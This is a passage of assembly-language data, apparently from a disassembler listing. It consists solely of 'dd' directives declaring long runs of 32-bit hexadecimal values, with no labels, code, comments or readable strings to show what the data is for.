		dd 0B29C1084h, 0F75D007Dh, 0CC362178h, 861F4CD1h, 0DA4392C0h
		dd 1E00385Fh, 34356E2Fh, 0F4EB0615h, 6AB82F03h,	0D2406D18h
		dd 0C48F7103h, 0C0C18CBFh, 504BEAE5h, 39AED7A1h, 0AC5E5206h
		dd 4725C05Ch, 12B2354h,	0C9E181AFh, 2B7D8E4Dh, 0F6B873D4h
		dd 2226E48h, 0CA2663B7h, 0F909A286h, 0DF617590h, 0EB801003h
		dd 95F4AEEh, 29E8139Ah,	0F1259D33h, 1255461Dh, 0F3A98BE7h
		dd 12BB58CAh, 0CAF230D5h, 69ACBBD5h, 385CA312h,	0BB5860BEh
		dd 57019C0Ah, 5226C781h, 72605ACAh, 0DCFEB6D1h,	0CE4B2772h
		dd 6E27E6CAh, 9DD95F73h, 9D3A9C30h, 51AB5A90h, 2DA4B200h
		dd 68E7872Fh, 0D97018Bh, 8060026Ah, 0DBF5E2F6h,	0ACC51506h
		dd 47612Ch, 86C849B8h, 0CA09BF6Fh, 0CA32FDD0h, 401DF4D3h
		dd 3E75697Dh, 0D8650D27h, 0D85F4B7Eh, 5AB59DE8h, 8EE9251Bh
		dd 0B8C7BA71h, 9BBE52F5h, 5278C04Eh, 9F8B50ABh,	5B27E044h
		dd 5CC3CA53h, 9246CBCh,	0CF900F40h, 5289FB22h, 13413098h
		dd 0CA01C17h, 955972B4h, 4DF57E62h, 4E6CC9F9h, 0AB4B300h
		dd 0EE76CB6Ah, 0B0E925CCh, 94CBCAECh, 0D7B5D5DEh, 4C3030A7h
		dd 0E327008Eh, 2E94FB9Bh, 0CF038151h, 87E3BF5h,	0EDDA5B5Fh
		dd 47B94AF8h, 5E2625E8h, 0D1013129h, 9D89F52Dh,	0C269D47Eh
		dd 0FE6855E0h, 0CD259531h, 11B8E51Bh, 0E590662Dh, 0C4B04B3Bh
		dd 3244AB2Eh, 810C70E6h, 714BE4B1h, 0A9B96FC4h,	33820788h
		dd 1A0D11BDh, 0A9A0275h, 40A05EB7h, 8433F9BFh, 4C760D58h
		dd 0BD1822E8h, 9A605F12h, 0A60077A2h, 6F23F8A7h, 4ECBB432h
		dd 0E094E148h, 84971A7Bh, 0BCBCF8BDh, 0D08C0F13h, 0B58B60C8h
		dd 0CA00D15Eh, 0FEE7F081h, 6142038Fh, 8531C82Bh, 668C47DDh
		dd 0ABA495BFh, 0D1A166C2h, 0D0051242h, 4E4985B2h, 88A144E0h
		dd 0DB2C4055h, 8F25E847h, 0F49BE27Fh, 0B80B12A2h, 62579685h
		dd 53C570AAh, 6B54E95Bh, 0A455936h, 11C88C6Bh, 5AF94289h
		dd 142A62Bh, 0E12627DBh, 0F33ACDCFh, 254022A0h,	0B7D68D89h
		dd 0D567BB81h, 642F055Ch, 73CCBE82h, 2CF5FABBh,	200C6D70h
		dd 1CCA8678h, 403CDB9Eh, 5C7BD98Fh, 0A11CD790h,	82018065h
		dd 4D9AA630h, 0F19F602Fh, 0D39F5183h, 48D27803h, 4BE2401Fh
		dd 0DBFA6A17h, 91C8180h, 44782D9Dh, 0E690BF49h,	0B8305D12h
		dd 5E17AECEh, 0FB1B301Fh, 410571ACh, 8320DBA2h,	7EB9D680h
		dd 887B9511h, 27C2A9D0h, 0DB4EA3E6h, 2D00DA49h,	0BB4FD1FCh
		dd 7DA82CEh, 111037DDh,	8CEE8216h, 5E70A046h, 909F4EFh
		dd 0D245C6F1h, 6F721A09h, 8ADF2B78h, 77F61812h,	0A15B0AD2h
		dd 86BF80CCh, 0F7CE02Eh, 67098237h, 82038962h, 75DEB706h
		dd 164496EDh, 0F0B13260h, 6B9E6B91h, 0FC08AF00h, 0E27A61EDh
		dd 0D4B400A5h, 0F7A88248h, 0EA9D94DDh, 0B0EFD5F9h, 6027C60h
		dd 18C401DAh, 0BB490B41h, 3801C42Eh, 0CECF8012h, 82302AAFh
		dd 7CBAFB71h, 0AB493462h, 0E64A702Fh, 0C11EA213h, 8F6EA515h
		dd 804E224Ah, 9D2191F2h, 1571927Bh, 0EF5C8318h,	0B2E7C082h
		dd 62E3D2EAh, 234DF4D4h, 7DBC5F04h, 105509C9h, 0B4E1FFAFh
		dd 0AF1212A4h, 8A152C38h, 0C6138CDEh, 5F6B1777h, 4F714029h
		dd 7B041262h, 92DDD256h, 48AC631h, 750E44Eh, 0A35BBCF0h
		dd 0A6604EA5h, 0BE36F0D5h, 155099Fh, 0D32B758Dh, 0F7571ADDh
		dd 5E04C1D0h, 0E1286E78h, 9B4E63BCh, 318880CDh,	9D105DB5h
		dd 0C9258579h, 0C80F2E5Fh, 5D73C017h, 73B54827h, 0B5950543h
		dd 0CDCAAB2Dh, 2165BD09h, 0FE5F4244h, 79E412B0h, 0D6ED9748h
		dd 4E5F58C3h, 0A54AA83Ah, 4189EBECh, 0C8E95630h, 457B5000h
		dd 0B4BAC275h, 4094BEF3h, 0A21538FCh, 0B674A701h, 5F577068h
		dd 252B50C5h, 7B88EA77h, 0DA1803BFh, 8B5F6BEEh,	1E09A14Ch
		dd 753835F7h, 86950909h, 981D9251h, 0FCDE2Fh, 582B1F6Bh
		dd 318D9529h, 6B52799Dh, 5552E6DBh, 3385EDD6h, 5AF1C26Fh
		dd 0E67A5ED9h, 83A9B589h, 80CA009Fh, 95D3DA3Fh,	35CD9C12h
		dd 0ABE939C0h, 80E69401h, 52C4BFFBh, 73BD1CE5h,	61BD047Bh
		dd 0CD793918h, 0DC1F80A8h, 0DE678FD1h, 32310BE5h, 355AF05Eh
		dd 2B8287A2h, 60EC600Ch, 0BF056B95h, 7D376D77h,	0B67AF9B1h
		dd 8AB6B49Fh, 0F0D40F16h, 541A5D8h, 0D7F992DBh,	1591C2B5h
		dd 0A837498Eh, 7B0D2D4Eh, 181851C1h, 11D609DBh,	0F282AF2Eh
		dd 280A0399h, 0A9E9F902h, 5FE65D3Ah, 2371D01h, 55AA2C3Fh
		dd 10A6E27Ah, 9BA415E5h, 0FF91C19Dh, 0CD3AB9ABh, 0C3F34A2h
		dd 12EE6880h, 4C6249Bh,	0BCFF31C4h, 98113E20h, 0A61639FAh
		dd 99975Eh, 0B5D67060h,	581AD120h, 15109B61h, 0D7B84E27h
		dd 26EC29C0h, 0B0093E8h, 0FDEF9D43h, 279252C9h,	13892794h
		dd 0C8896437h, 0A4BC71ECh, 0B39CA03h, 0AA4D61DEh, 32EF2CC0h
		dd 8B384B34h, 5C5227F6h, 9D696F65h, 4A3C7855h, 27F7CA5Fh
		dd 0D8DB732Ah, 0C4BD8916h, 1EE927EBh, 6AF9FE11h, 4EBA6CF3h
		dd 490BD66Ah, 0F018F5BCh, 11E7478h, 2C4519A6h, 6EAFB54Ch
		dd 0D4BD0063h, 0EA7F2113h, 63EB483Dh, 0E34AA13Ch, 41A85E9h
		dd 96DAB822h, 210A68EFh, 520516D3h, 0B2E3B647h,	0D2DF3016h
		dd 1641865Ch, 60EA1AB1h, 0CBD88447h, 0D9AD8C04h, 0D6B896C9h
		dd 4A48BBC0h, 0A995161Dh, 523DFDC4h, 7AB7D00h, 567BFA5h
		dd 0D912563h, 5B5C9251h, 4269D05Ch, 0F84CC873h,	9D629A04h
		dd 61CFF14Dh, 256F0CF7h, 0FDC860C6h, 46DD821Dh,	4702B7A9h
		dd 0B59AEB75h, 82BEB7DDh, 0F9EAD088h, 6DEB965Ch, 0A149400Bh
		dd 0BDACCDA7h, 51B70F75h, 0A06B42AAh, 7CBEA560h, 0F891800h
		dd 3273BC9Fh, 92910270h, 8EA21211h, 73C63A57h, 29715024h
		dd 27D5B516h, 7B902DAFh, 250B1C6Ah, 6C0B8A9Ah, 1A127B5Ch
		dd 18F2D6E6h, 0B7CCB631h, 85A84BE2h, 0E75FF6CEh, 0DD0C5A72h
		dd 0CDEF7481h, 0EE002E9Bh, 304355BBh, 0CA19972Ah, 0A8242EF8h
		dd 0DC4CDBFEh, 0A8FF9800h, 27EBE16Ah, 0D3106450h, 0E7005DB3h
		dd 1528929Eh, 5F60C652h, 1461EEEFh, 3138870Fh, 6D8D29C1h
		dd 8E243217h, 88CF81BBh, 79612B30h, 0AB57177Fh,	142BBD6Bh
		dd 893402BDh, 8069F5BDh
		dd 79202A96h, 0BE74E05h, 0A31DC679h, 8807EC44h,	0CB1AF5B2h
		dd 8F920FD0h, 409500DFh, 22A0D269h, 505B5F35h, 2CF19E88h
		dd 28BFA1h, 8FDAD3D1h, 3C066197h, 0B7BAE062h, 0F05B9D30h
		dd 0E392F57Ah, 5402840Bh, 725C49FFh, 21846D6h, 150920A1h
		dd 60FC5CB9h, 23D99D2Bh, 4F309187h, 0D6509682h,	0A1B362DDh
		dd 4BDE8B6Ah, 5BA919DCh, 6BFA5A70h, 15D978DDh, 0F25DF63Ah
		dd 5CB43019h, 70C29B0Ah, 65483381h, 71DC294Fh, 0BF2DBF94h
		dd 0D75A565Eh, 53E909E7h, 0B1A53BE5h, 42F58FC6h, 0B1E134EEh
		dd 5A74C2C6h, 0ECF04DEh, 0ABBC53F2h, 9A4E73CFh,	45138092h
		dd 2E40719Dh, 82738B5h,	0E9091B79h, 2D115E65h, 5CCB74CDh
		dd 0C18BE288h, 0F6BF0978h, 0AB8AE480h, 0D465121Ch, 276D40FEh
		dd 150094D8h, 57193CE6h, 0E6B64ED2h, 7F7305D7h,	8561770Ch
		dd 66D7F5E8h, 41ACF1A9h, 4ED1E36Ah, 0C7A2E484h,	50BC4D49h
		dd 38DECC5h, 800F2405h,	28EB02D8h, 9839F97h, 6521633h
		dd 8C004AE4h, 66A12667h, 26B727D2h, 8758F7Dh, 5B121181h
		dd 307248E1h, 6BFEA500h, 37D431A1h, 9034B314h, 0E0ADCEA6h
		dd 5684B1BEh, 6A9800A5h, 8F88AF31h, 5E0919D5h, 29508D75h
		dd 4A0650FEh, 7B42B585h, 35F09CE6h, 49209D89h, 0DBBF0626h
		dd 4E2E5EA1h, 5591B325h, 0F9BDD098h, 719B2C4Bh,	0D6C019C8h
		dd 2F03309h, 9D03637Ah,	2AD70E61h, 65A5F946h, 0CDA7144Ch
		dd 0DB9CC3C0h, 37BF026Ah, 537007Bh, 94BBA261h, 67536E63h
		dd 0DCBFA810h, 1DDBA6CEh, 0C0CA7F41h, 1AF093FFh, 799F5038h
		dd 406F9C7Ah, 0C148294Eh, 0B1001364h, 0B9566047h, 178F9154h
		dd 0BA615927h, 8002787Bh, 65829F75h, 15C4C7CDh,	318E4260h
		dd 4DD1BD26h, 8FE9FC84h, 3DE185B8h, 0DA6B0916h,	30AE92B4h
		dd 0C1FB568Fh, 0EF80D509h, 5FAF409Ah, 0C137BF79h, 69137C00h
		dd 0E86BA6B3h, 74192F9Bh, 98953ED0h, 1DF81AFh, 5DEF8CCCh
		dd 6A5F5290h, 8810B407h, 0FD390B8Bh, 3D00A5EEh,	0A469AAD8h
		dd 2E55712h, 4BEC5CD7h,	9457BA33h, 44D2164h, 83E78061h
		dd 0C83DDA2Bh, 5357C91Ch, 860F84DFh, 82E6AC0Dh,	82C698Dh
		dd 77D200A9h, 0FF6A6147h, 5D7A02BBh, 647570E2h,	36A40A93h
		dd 0C6AD89h, 985D6A0Ch,	400E5B2h, 0C91E4A88h, 7CFBF3Dh
		dd 5F375349h, 0D0D191BBh, 7DEE6045h, 977A225Ah,	304F1A3Eh
		dd 0B58D8982h, 0DA282EE1h, 50558A12h, 5002B5C5h, 105F71E4h
		dd 5FE0CA7Ch, 0ABC6A052h, 7A04994Fh, 0BE1214B1h, 95EC52A4h
		dd 0C3BFB679h, 4EB1F840h, 0C4D2B922h, 0BB4F0587h, 20A5C0A2h
		dd 9529A3C0h, 0EE329920h, 71F1BFE8h, 634BBC80h,	2F5E369h
		dd 14EFFE41h, 47C286D0h, 5F924E56h, 3D9DF4ABh, 25800A40h
		dd 847A84E3h, 27D0F420h, 0DF93B509h, 6B014FCCh,	38755A2Dh
		dd 81C84C85h, 0D849A440h, 545D4DBh, 2DD55682h, 2AF51A10h
		dd 1D48350Fh, 801E7BC5h, 250CD2BFh, 0DDC94EF9h,	57231210h
		dd 0E9294A64h, 0C6028949h, 5C602E12h, 0B24970E0h, 9DC34C00h
		dd 36918C6Fh, 70301FCh,	0EA4658Dh, 8A1F0C39h, 0C001D5D9h
		dd 0C7C6533Ch, 8BDF602Eh, 955089DAh, 3197FC79h,	9FA6FBFh
		dd 49D33AAh, 0BF8A69D7h, 29714C49h, 29535DAAh, 307B52h
		dd 0B9E305A9h, 7820ED3h, 5E6975BEh, 1546D41Dh, 25F40F28h
		dd 9104319Dh, 8ACCFBFCh, 4F22E1B8h, 0D8C7E8D8h,	52BA3B38h
		dd 0E150120Ah, 0B6B4BDB9h, 0D0E8A093h, 0A65E580Ah, 6F803217h
		dd 0D1CC28CFh, 6E85FA4Bh, 76E8A1F9h, 69BB0E02h,	4046C17Bh
		dd 971D9F9Dh, 1B915E35h, 1972F80h, 6B0BC567h, 510786h
		dd 963A0B39h, 8C5F4B3Ch, 2977575Dh, 5E1B7D2Fh, 0FEC9744Dh
		dd 442271DEh, 0EC59BD5Fh, 80564EB7h, 0F878D6EFh, 5A535695h
		dd 7D7366DFh, 2A953031h, 0FFFBBF19h, 0EF6EE14Fh, 0B2B66E02h
		dd 335C9283h, 4D89C251h, 0C40EFB8Bh, 2ACA4A31h,	0EA2BC835h
		dd 0F4059F6Eh, 0FA93297Bh, 0FE107237h, 972724E8h, 5B452A14h
		dd 0A1619A01h, 49D7E17Bh, 3288D979h, 79884F68h,	2E7900BFh
		dd 2062FC87h, 0DF121CC0h, 18E05CD8h, 4E807857h,	0E2AB96Fh
		dd 0A97903BBh, 70007224h, 0DC5582D8h, 59894911h, 0B5C1D855h
		dd 2B4BFE53h, 2DCB7E84h, 314ADE50h, 0EB030AE2h,	0F7C48786h
		dd 0F2CD53E8h, 0ADED9001h, 120319D0h, 0EC624B7Dh, 50F68E68h
		dd 37A10B2Fh, 0B0BA8063h, 87506430h, 617EBE2Fh,	4E81DA20h
		dd 0B4131468h, 2AF2E5B0h, 0F0EB0907h, 0B9DB4FE4h, 102649DFh
		dd 0B5ADD65Bh, 872058Fh, 0A799EB49h, 890AA9D8h,	0B3AE14B4h
		dd 66FA25DEh, 0CDF54AAAh, 90026EA5h, 56F9EEE8h,	26CF2D84h
		dd 0C038D762h, 0BD0DA901h, 7B696671h, 60CA50C5h, 0DD788300h
		dd 2F6A767Fh, 0A6895BFCh, 4A06F028h, 0ECD61FACh, 94F8A525h
		dd 0B0105520h, 0B2F2A26Dh, 91324062h, 8C919511h, 0FA9230F9h
		dd 0DF9534EEh, 1900A637h, 75D27C18h, 283D2569h,	12117C5Bh
		dd 0E1816707h, 7D88D0D0h, 200646Ah, 84EEFEDEh, 481080D5h
		dd 3116BE18h, 0B438AB2Bh, 0B97149B3h, 81D8DA64h, 21DC8ABAh
		dd 0BFA36A9Eh, 45E25Bh,	56F95455h, 10F32C0h, 63CFBF4Eh
		dd 225B62A7h, 5893444Dh, 5478739Bh, 41EE3FA5h, 505C3B80h
		dd 9529144Fh, 0F8B30154h, 882F7395h, 4B3C22A9h,	0B6D8820h
		dd 51E43995h, 4727A284h, 0EBC381C6h, 2B0B3546h,	0A238B36Eh
		dd 0AF76FEB4h, 0F9040952h, 0B3AC0C61h, 6ADFB7A1h, 981BBB3h
		dd 6B2D89BDh, 0C400E3E6h, 68C811E8h, 7700ED22h,	42253A3Bh
		dd 95C7553Ch, 8B9FB014h, 4375538h, 0AC68B280h, 3A8EBBECh
		dd 712C6114h, 0E95307EAh, 0CD760959h, 0B6CA00F4h, 2F59BB76h
		dd 10918E3h, 0F42CDD8Dh, 7B4BC1E9h, 0AB3BC436h,	0B8049517h
		dd 0E61296F1h, 0DF67D55Fh, 619D255Eh, 49B52248h, 5144164Bh
		dd 9DAC2F2Dh, 0BF05A4E7h, 80030E7Ah, 7C39E4FDh,	22BA08A0h
		dd 0D5620E91h, 0C9BB0004h, 15EF9FBh, 1A23FD6Bh,	53A53300h
		dd 4A2DEE99h, 7CAECD21h, 7FA3D2ECh, 0CB3CB84Eh,	24D48529h
		dd 6605D4F9h, 0F9EF6ABEh, 0B04A46C4h, 5EFADB2h,	6103D6CDh
		dd 8800C056h, 78AD5F8Eh, 18E0B448h, 5F94D7Bh, 14DEB83Dh
		dd 0BEB48F1h, 462DB12Ch, 3055453Dh, 2D5AED19h, 864050B7h
		dd 0B8264AFDh, 0C3E6B530h, 0F88746A1h, 6DB540A2h, 601B644Bh
		dd 5A984C2h, 0AFABC5A7h, 6A20762h, 0DDD8ECD6h, 6A5B3240h
		dd 49D1C551h, 9123B5D5h, 0BF9C8019h, 4B3CE014h,	13E273h
		dd 3BAA72ECh, 121A852Fh, 0DACE6CBBh, 0C214C87Bh, 0A156FC63h
		dd 532B727h, 4BC2D8Bh, 1203F5EFh, 0EE29A1A1h, 0BC50C8B8h
		dd 4A4ACAB4h, 0E94A87B7h, 186A825h, 0EC0A6EEAh,	2057FEF9h
		dd 0DF648B85h, 478495D4h, 0F89275AAh, 0FB6AC98Bh, 0CADF7AD8h
		dd 0D51EC218h, 5547F195h, 7896CF2h, 0E359E9B1h,	58BDDB69h
		dd 0B9040C69h, 0E61DDB45h, 1C496281h, 105D9602h, 0D969FAh
		dd 765B778Dh, 2C7336FEh, 15C0CBE9h, 0DE02B260h,	201459BEh
		dd 0F68BD522h, 0BD60D274h, 0F04D8F7h, 0C0C4425Dh, 8425FDF7h
		dd 49A69661h, 0E4B71EE1h, 85130C15h, 0EBB35059h, 89535B0Bh
		dd 124FF47Ch, 85114EB6h, 92C84B0Dh, 96210E58h, 0EF24BB27h
		dd 54B6BACBh, 12EB6A4Eh, 3404C26Fh, 90925D5h, 0B82F6F84h
		dd 845DE306h, 807FDEAEh, 0C47FFB54h, 8E6514AFh,	0A110871Eh
		dd 800F171Ah, 0BCAB6ED4h, 3A18C0C4h, 5E506D4Dh,	935DBD66h
		dd 0A5A23BB6h, 8160B2B0h
		dd 93BED239h, 0C6042B4Fh, 61090D6Dh, 46D6FF56h,	61BF001Bh
		dd 67261554h, 3D1352D0h, 0A8E78009h, 6FBD3872h,	0FAD940A1h
		dd 0EC162771h, 73B29C64h, 4D70DE01h, 0D0371E90h, 0C1125D7Dh
		dd 0B5AE2DA7h, 0AFBE0464h, 5F25CDE8h, 903674C5h, 786A9302h
		dd 0CC7DDB8Eh, 0FA91E804h, 95A28CF9h, 499BB900h, 30ED25A7h
		dd 3E0276ECh, 0B4A0F488h, 1E3557E1h, 12871891h,	4EDE23B5h
		dd 1369E412h, 0A1931FB8h, 923D2BF3h, 13B6A7Fh, 3E49F038h
		dd 172E7CE9h, 8790DB89h, 8D1331C0h, 0B017A4CDh,	0DA4BB7C7h
		dd 0BFAA868Dh, 89F81084h, 8C19EC04h, 65DE6B01h,	6A0910F7h
		dd 8B2C672Ah, 0D1780AD3h, 0BE922B6h, 78A87D00h,	0CE827E88h
		dd 0C7812555h, 25969640h, 9CB06395h, 4EA2BBh, 6335BB58h
		dd 7D613D1Ah, 0BEDD7329h, 0F058414h, 9662EB89h,	0D550070Bh
		dd 0B2CD2481h, 168E00B2h, 9DADE8D0h, 0F2CE2FA9h, 0BC29556h
		dd 7FA3AB95h, 7B8F1037h, 0E936A2E2h, 0BDA4A14Ah, 560813D5h
		dd 2B75B95h, 0E0CBB66h,	40D69555h, 0EAC77D3Fh, 0BDE1C19Fh
		dd 3BF3B72Eh, 9BDE0082h, 4616BC14h, 4AF013Dh, 9E815A0Ah
		dd 2F713184h, 4A6993F0h, 232CAE18h, 9E3EE18Dh, 8C4C80C7h
		dd 510F31FCh, 57E1D82h,	82026AC1h, 95A5913Ah, 0B7B99190h
		dd 4ABB6222h, 55F6EFFh,	54117C2Dh, 67563ECAh, 41C26BB1h
		dd 7BA3D7D8h, 2A0B7C8Ch, 25E80DBDh, 63C7FBE9h, 2525A008h
		dd 103B315Bh, 66051F05h, 0EBCCAEBFh, 0CAA0BA8Ah, 0BD01F8B1h
		dd 0BFE7E433h, 8AF09489h, 956E92DCh, 1A71B253h,	9D1C5A18h
		dd 2103F520h, 0C103F96Eh, 282E0751h, 634BB344h,	0E02B438Dh
		dd 6A719A9Bh, 16AC3CF9h, 0D4E35251h, 897E5F2Eh,	0B7760AA1h
		dd 0BFA94BF4h, 16762826h, 0AB7D30A6h, 290ED372h, 1200E5D9h
		dd 7E85DBCDh, 0A8AD0075h, 4D58FF08h, 0DD5F3168h, 295B8909h
		dd 841856B5h, 0EEB061F9h, 20249048h, 1A75ACF6h,	2270E6FBh
		dd 55B9A9D7h, 16837708h, 0BA34AED2h, 2BFDD9FBh,	0A8B90C48h
		dd 2035251Ch, 0DF4B0CC6h, 7AB7088Ch, 91C14DFEh,	0DE50496h
		dd 9F06B81Eh, 14859D84h, 9563D8AAh, 81013042h, 0FA45D6E3h
		dd 77E9017Eh, 0B1580415h, 14DC87F5h, 82F1AC05h,	51494755h
		dd 0F5F82D52h, 41D9F504h, 0F2AC5A7Ah, 4A19CE40h, 6EC7B216h
		dd 5A78C952h, 411245EBh, 71FE90Dh, 2F173746h, 67025B50h
		dd 0ED56492Dh, 0B0B5D6Bh, 0C4E63A55h, 0EBBB04C6h, 0AD71121Fh
		dd 8A6081D8h, 0D0A261FAh, 8D10E162h, 0A42F42B5h, 0B39FC51h
		dd 8E3F2665h, 0B779EF8Ah, 29AE6513h, 80202B86h,	11CEF36h
		dd 7FF0DEBCh, 390F93B9h, 0B6C4E9D1h, 33DF003Dh,	5EE8BB8Eh
		dd 649753EEh, 0C43A0983h, 5479E478h, 0EA514Bh, 9CC805ACh
		dd 7F17B976h, 0AFA432h,	0EC1351C2h, 6A123F50h, 2DE1F22Eh
		dd 0EE7AA4Ch, 7D3501D5h, 6DA78140h, 4C041DF9h, 29C12234h
		dd 601CE5AAh, 38FF8DB2h, 9FC0568h, 0FC948595h, 0E782F0AFh
		dd 3B08FE26h, 55121109h, 9AD502B2h, 59338293h, 75B65514h
		dd 0EEC8F84Ah, 0E84E9EFCh, 0E724D6EDh, 0D026642h, 57B52945h
		dd 4D95A358h, 601C6422h, 271F254h, 0A09748AFh, 445E8531h
		dd 16274B40h, 0B27A4A4Fh, 6ABFF42Ch, 1EE80189h,	0C478A41Fh
		dd 7B001B23h, 7DBD2ACDh, 18483B4Dh, 0BCB70BA6h,	1FE1C4ABh
		dd 58213033h, 549530CFh, 8ABDB904h, 2EB8FD28h, 0BD7D48A2h
		dd 2B38023h, 272884E3h,	20796D26h, 5515010Bh, 55BD8BB8h
		dd 0E4AC2F5Eh, 21359DA0h, 0A8D09D84h, 4AB30C4Ah, 0FD045385h
		dd 31E851h, 0E82CE50Ah,	0B9BD2B69h, 0CC8104EDh,	382E30F1h
		dd 75D9343Ch, 2E2299AAh, 4A3DBD11h, 0E5221ECAh,	3772ACA2h
		dd 9BA6605Bh, 602939E1h, 604BF966h, 0F2FA3588h,	83B900A2h
		dd 0B78B4823h, 99048701h, 8F94B866h, 25BBFCAEh,	6236C2F5h
		dd 243C0F70h, 3AB9E6D3h, 2F011C11h, 6477EDF8h, 0C0EF651Ch
		dd 1BE089F2h, 72A7D016h, 0E424DC8h, 0CB21276Ch,	849D9661h
		dd 0A053F32h, 74ABE2C9h, 0D26AFF90h, 23151B00h,	90EAABBAh
		dd 8E2CBF38h, 0C1503F1Eh, 760EC9EDh, 0D14DC17Ah, 243B091Fh
		dd 74EDBA7Ch, 3A08F118h, 7C005828h, 0F7426E92h,	18A8817h
		dd 8B685BFCh, 684FF29Ah, 0DC978162h, 0F27EC25Eh, 19BA40A4h
		dd 306CEB7h, 3F3836B5h,	0D6982CC2h, 55003E8Dh, 37B711B1h
		dd 27362BBCh, 2C5C5BE6h, 0ED997482h, 268BF54Fh,	6D751F62h
		dd 0D66DA51Dh, 0C5F66240h, 0D5AF06F4h, 54EE5CB9h, 750B4124h
		dd 3280142h, 0ACB5E6E9h, 0D7048493h, 0A75A7EB8h, 41E0B7AEh
		dd 4606B2Fh, 0B7DA8B1Ah, 4AA2B8F7h, 28067F7Bh, 0C099616Ah
		dd 5911DD25h, 0C4B56B45h, 0A04F190Eh, 3715C77Eh, 918D1629h
		dd 9E2CAB17h, 891AE321h, 0F8FFB01Dh, 33AC1DFDh,	0A4D70045h
		dd 5BBB7AB0h, 2148717Bh, 0E8CA4D8h, 7FAD0782h, 4053A386h
		dd 1B4CEA2Ch, 0B182EC4Bh, 74907531h, 0D84B8B96h, 5181E6ACh
		dd 28310F5Bh, 0FF1C9C26h, 4754CB03h, 57FE842Dh,	8FD5BD62h
		dd 96169FF9h, 16804BDBh, 77D9E3EDh, 0F07F870Fh,	0AB5C22BBh
		dd 996DF568h, 1227DB69h, 0A38AEB1Bh, 0A8079643h, 0C0A71312h
		dd 4377E5B7h, 0D8EB2912h, 0DF3BE0E2h, 0BFC2F05Bh, 5F49E117h
		dd 0ECAC1A24h, 93FE1D80h, 30013DC1h, 585F574Bh,	332EDE8Bh
		dd 58A60FB6h, 19A5BD24h, 9D1AF1AFh, 638EC5F5h, 0ED19B9C2h
		dd 49EEAD2Eh, 9C89311h,	381800A5h, 3DE78201h, 0DB1699C6h
		dd 6FFF61F1h, 0A0DD000Bh, 9BB6647h, 0D61697EFh,	92DF8012h
		dd 0D84B88h, 298BCA91h,	0D48E7B43h, 0B24DAA0Fh,	9800B388h
		dd 8CBC96DBh, 0D251B522h, 16B73965h, 343FDAB0h,	0DEC59750h
		dd 8225F82h, 4E5D27E9h,	0B8C50E4Bh, 26849896h, 883BAB17h
		dd 84A0DAA5h, 0F8AE3FD0h, 0B9B292E8h, 1820888h,	0D51EC195h
		dd 0F5253F9Ch, 0F4C17E04h, 0F19AF201h, 539675B1h, 17E90520h
		dd 0D910ECB2h, 0D69A4CCCh, 0E8644809h, 0AFA771B1h, 603D34C4h
		dd 0C3AC043Bh, 0D6C18A3Dh, 5B0214BDh, 5325225Ch, 5A07D8A5h
		dd 0BD895C04h, 0A6BA0331h, 0B7953ECh, 5F87F351h, 0D6548320h
		dd 9509C304h, 0A4FE7ECCh, 5F092508h, 16DEC884h,	0D7D59B30h
		dd 0E25EE0CCh, 218A3FACh, 6F965B96h, 1BEE078Bh,	0E7F051D6h
		dd 4BA141E9h, 0AA3AFC3Bh, 0A2DA8C00h, 3FECB0C6h, 6225962Dh
		dd 25DCD654h, 1C598153h, 63003C18h, 6A1DF768h, 99DE9184h
		dd 31D580E1h, 0ECE74BA0h, 9B0A247Fh, 0F1384AAAh, 6061CFA5h
		dd 0C40807D8h, 0FB4D604h, 4FBCF110h, 0E71A124Ah, 229A4E1Dh
		dd 0FC352680h, 3F042308h, 0DC8A5CC7h, 1B5820FFh, 0ED001F5Dh
		dd 27FD5592h, 19B5028h,	1C680256h, 28860FE7h, 749BA02Fh
		dd 93B4001Ah, 796C5C57h, 377BFF4Dh, 0FE1F867Ch,	5BD2E3F2h
		dd 0E99240F2h, 9A0A847h, 0F74E152Ch, 9AD6E2C2h,	3CE90EF6h
		dd 6722BFAAh, 365E1EC8h, 0C0C6CD2Fh, 0FFA63F3Ch, 32C5564Bh
		dd 8012DBAEh, 4857DF41h, 2066902Fh, 0F8A20691h,	7372A9FDh
		dd 1814593Dh, 0BD42950Dh, 0F3A72E5Ch, 0BA90D0B0h, 73FA1A2Fh
		dd 0D1B50BFBh, 0D81BE159h, 7595D85Ch, 6F4DB524h, 0E6601CE4h
		dd 0F6025BF7h, 0F8546E8Ch, 541057C6h, 0B0009F33h, 1BE602Fh
		dd 3A878C8h, 0AFEE6B2Dh, 0EAB97FEFh, 0DA147C30h, 0ED5055A6h
		dd 0B4808191h, 0ED8F9044h, 6A820BC2h, 0BFF56F3h, 653D5ED4h
		dd 1A5AAC61h, 5DFA2434h, 73254F7Eh, 181859E5h, 0B1BA5EBCh
		dd 0F7342B98h, 0A0A3CEACh
		dd 42FD344Ah, 0AD25E9BCh, 2AFE489h, 0B5290FB7h,	52571775h
		dd 0F9449D1Fh, 4B82BD02h, 40142279h, 975FDF23h,	0F9B1C2FAh
		dd 21D6AB80h, 4DA7364h,	4F3FDBAFh, 3AA3AE8Dh, 0E3EBBC0h
		dd 965B3634h, 0F3037A6Eh, 4EA252B9h, 8FE2C4h, 8DFCC24h
		dd 25B10E0Ch, 3EE17BF4h, 535F0003h, 0E361E260h,	0FD2EF765h
		dd 279FEC15h, 0B4FC1BCFh, 0DAB555CBh, 3F1B6CA7h, 79970F08h
		dd 734F00D5h, 605A42BFh, 0D38B5705h, 5D21615Eh,	0BE59D29h
		dd 4AC4E77Ah, 20C4C8h, 0EC7E4A68h, 48D83B0Dh, 93FC2602h
		dd 5E9D773Fh, 0DC575209h, 78632B79h, 3913BAF9h,	3A52E27Ah
		dd 0C640F4B3h, 262EE179h, 952F12D4h, 79815C14h,	0E9FAEC80h
		dd 0D8B1D25Ah, 0A600BB63h, 7923C2D4h, 99B0CC8Ah, 43DCD6Bh
		dd 2EA9C1BBh, 495CAB8h,	6AA82B58h, 8D3CE683h, 52346A88h
		dd 2610C9B1h, 498B7869h, 0F465D4h, 563BD3A0h, 0B731C262h
		dd 78BED730h, 0A2CE77F3h, 252EDA8Ah, 0B4F464A0h, 4C7500F4h
		dd 4663320Ch, 6609C420h, 661FBDBFh, 0E67E1A7h, 85B121E0h
		dd 0BE666C04h, 0F5A9C9BAh, 9CA49AD6h, 5904EFA6h, 6E81C535h
		dd 0AC042E55h, 2D072867h, 38F39Fh, 0DEF4EBC0h, 0F100D9DBh
		dd 5BF53580h, 3AB7D90h,	547C5E19h, 79D8423Dh, 9500E710h
		dd 0F27ECB9Bh, 0F0482D08h, 0DDD0732h, 47E8591Eh, 0BB80DEF0h
